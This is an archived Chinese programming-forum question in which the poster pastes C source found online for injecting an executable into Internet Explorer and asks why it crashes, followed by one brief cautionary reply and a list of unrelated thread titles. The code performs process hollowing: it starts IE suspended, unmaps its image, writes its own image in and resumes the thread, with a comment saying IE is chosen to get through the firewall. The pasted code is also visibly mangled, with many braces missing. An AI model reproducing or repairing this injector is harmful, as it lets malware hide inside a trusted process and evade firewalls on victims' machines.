收录日期:2020/12/06 02:01:41 时间:2016/08/16 10:20:31 标签:网络编程
网络上一段注入exe的代码 编译运行出错
暂时不晓得是哪里的问题 在线请教
运行会提示内存0fxxxxx不能为rend什么的

#include <stdio.h> 
#include <windows.h>


BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr);  
typedef struct _ChildProcessInfo {

DWORD dwBaseAddress; 
DWORD dwReserve; 
} CHILDPROCESS, *PCHILDPROCESS;

BOOL FindIePath( 
   char *IePath, 
   int *dwBuffSize 
   ); 


BOOL InjectProcess(void);

DWORD GetSelfImageSize( 
 HMODULE hModule 
 );

BOOL CreateInjectProcess( 
PPROCESS_INFORMATION pi, 
PCONTEXT pThreadCxt, 
CHILDPROCESS *pChildProcess 
);

char szIePath[MAX_PATH];
int main(void) 

if (InjectProcess() ) 

printf("This is my a test code,made by (Polymorphours)shadow3.\r\n"); 

else 

MessageBox(NULL,"进程插入完成","Text",MB_OK); 

return 0; 
}

BOOL FindIePath(OUT char *IePath, OUT int *dwBuffSize) 

char szSystemDir[MAX_PATH]; 
GetSystemDirectory(szSystemDir,MAX_PATH); 

szSystemDir[2] = '\0'; 
lstrcat(szSystemDir,"\\Program Files\\Internet Explorer\\iexplore.exe"); 
lstrcpy(IePath, szSystemDir); 
return TRUE; 
}

BOOL InjectProcess(void) 

char szModulePath[MAX_PATH]; 
DWORD dwImageSize = 0; 

STARTUPINFO si = {0}; 
PROCESS_INFORMATION pi; 
CONTEXT ThreadCxt; 
DWORD *PPEB; 
DWORD dwWrite = 0; 
CHILDPROCESS stChildProcess; 
LPVOID lpVirtual = NULL; 
PIMAGE_DOS_HEADER pDosheader = NULL; 
PIMAGE_NT_HEADERS pVirPeHead = NULL; 

HMODULE hModule = NULL; 

ZeroMemory( szModulePath, MAX_PATH ); 
ZeroMemory( szIePath, MAX_PATH ); 

GetModuleFileName( NULL, szModulePath, MAX_PATH ); 
FindIePath( szIePath, NULL ); 

if ( lstrcmpiA( szIePath, szModulePath ) == 0 )
{ //当前运行在IE空间里
return FALSE; 


hModule = GetModuleHandle( NULL ); 
if ( hModule == NULL ) 

return FALSE; 


pDosheader = (PIMAGE_DOS_HEADER)hModule; 
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew); 

dwImageSize = GetSelfImageSize(hModule); 

// 以挂起模式启动一个傀儡进程,这里为了传透防火墙,使用IE进程 
if ( CreateInjectProcess(&pi, &ThreadCxt, &stChildProcess ))

printf("CHILD PID: [%d]\r\n",pi.dwProcessId); 
// 卸载需要注入进程中的代码 
if( UnloadShell(pi.hProcess, stChildProcess.dwBaseAddress) )

// 重新分配内存 
lpVirtual = VirtualAllocEx( 
pi.hProcess, 
(LPVOID)hModule, 
dwImageSize, 
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 

if( lpVirtual ) 

printf("Unmapped and Allocated Mem Success.\r\n"); 
}

else 

printf("ZwUnmapViewOfSection() failed.\r\n"); 
return TRUE; 


if(lpVirtual) 

PPEB = (DWORD *)ThreadCxt.Ebx; 
// 重写装载地址 
WriteProcessMemory( 
pi.hProcess, 
&PPEB[2], 
&lpVirtual, 
sizeof(DWORD), 
&dwWrite); 

// 写入自己进程的代码到目标进程 
if (WriteProcessMemory( 
pi.hProcess, 
lpVirtual, 
hModule, 
dwImageSize, 
&dwWrite) ) 

printf("image inject into process success.\r\n");
ThreadCxt.ContextFlags = CONTEXT_FULL; 
if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress ) 

ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint; 

else 

ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint; 

// #ifdef DEBUG 
//  printf("EAX = [0x%08x]\r\n",ThreadCxt.Eax); 
//  printf("EBX = [0x%08x]\r\n",ThreadCxt.Ebx); 
//  printf("ECX = [0x%08x]\r\n",ThreadCxt.Ecx); 
//  printf("EDX = [0x%08x]\r\n",ThreadCxt.Edx); 
//  printf("EIP = [0x%08x]\r\n",ThreadCxt.Eip); 
// #endif 
SetThreadContext(pi.hThread, &ThreadCxt); 
ResumeThread(pi.hThread); 

else 

printf("WirteMemory Failed,code:%d\r\n",GetLastError()); 
TerminateProcess(pi.hProcess, 0); 


else 

printf("VirtualMemory Failed,code:%d\r\n",GetLastError()); 
TerminateProcess(pi.hProcess, 0); 


return TRUE; 
}

DWORD GetSelfImageSize(HMODULE hModule) 

DWORD dwImageSize; 
_asm 

mov ecx,0x30 
mov eax, fs:[ecx] 
mov eax, [eax + 0x0c] 
mov esi, [eax + 0x0c] 
add esi,0x20 
lodsd 
mov dwImageSize,eax 

return dwImageSize; 
}

BOOL CreateInjectProcess( 
 PPROCESS_INFORMATION pi, 
 PCONTEXT pThreadCxt, 
 CHILDPROCESS *pChildProcess ) 

STARTUPINFO si; 

DWORD *PPEB; 
DWORD read; 

// 使用挂起模式启动ie 
if( CreateProcess( 
NULL, 
szIePath, 
NULL, 
NULL, 
0, 
CREATE_SUSPENDED, 
NULL, 
NULL, 
&si, 
pi )) 

pThreadCxt->ContextFlags = CONTEXT_FULL; 
GetThreadContext(pi->hThread, pThreadCxt); 

PPEB = (DWORD *)pThreadCxt->Ebx; 
// 得到ie的装载基地址 
ReadProcessMemory( 
pi->hProcess, 
&PPEB[2], 
(LPVOID)&(pChildProcess->dwBaseAddress), 
sizeof(DWORD), 
&read ); 

return TRUE; 

return FALSE; 
}

BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr)   
{   
    typedef unsigned long (__stdcall *pfZwUnmapViewOfSection)(unsigned long, unsigned long);   
    pfZwUnmapViewOfSection ZwUnmapViewOfSection = NULL; 

    BOOL res = FALSE;   
    HMODULE m = LoadLibrary("ntdll.dll");   
    if(m)
{   
        ZwUnmapViewOfSection = (pfZwUnmapViewOfSection)GetProcAddress(m, "ZwUnmapViewOfSection");   
        if(ZwUnmapViewOfSection)   
            res = (ZwUnmapViewOfSection((unsigned long)ProcHnd, BaseAddr) == 0);   
        FreeLibrary(m);   
    }   
    return res; 
}
网上的代码用来参考可以,直接用会带来很多后果

C#如何获取打印机的任务数 SQL Server2000新建数据库关系图功能openclipboard失败! 生成十字坐标----如何写一个简单的绘图类? 怎么让Flex中Datagrid直接输入 散散散散散散散散散散散散散散散散散散散散散散散散散分... 测试开发 和 开发 哪个更有前途? 请教如何在手机端断开USB连接 模糊查询为什么实现不了 [求助]帮忙改一个程序!~~~ My97DatePicker日期选择,为什么在点击出现日历时,页面最上面空隙被自动清空了 求brew中释放资源注意事项。。 delphi 聊天通信问题 谁有tge 1.5.2,能否帮我一下,传一个给我,感谢 找个女朋友! 如何获得 当前窗口的名称 也就是最前的窗口的名称 oscache集群配置 火車上查身份証 刚做完一个B2S网站群客网www.chinkker.com,内测中,肯定还会有很多问题与不足,大家帮忙测试测试 Asp网站问题 看王爽《汇编语言》实验9中的一个问题,请高手解答 PetShop4.0中那个signIn.aspx页面中login如何转向default页面的? 民间并无武功高手(转载) C# textbox 控件 按回车 执行 按钮事件应该怎么写代码? asp.net Ajax的一个问题 GroupBox被子对话框盖住 DB2怎么给远程连接的用户赋予权限啊?(急) 注入问题 长了见识,散分 BCB--调用函数中是否可以使用VCL组件? c# 关于imagelist中的图片?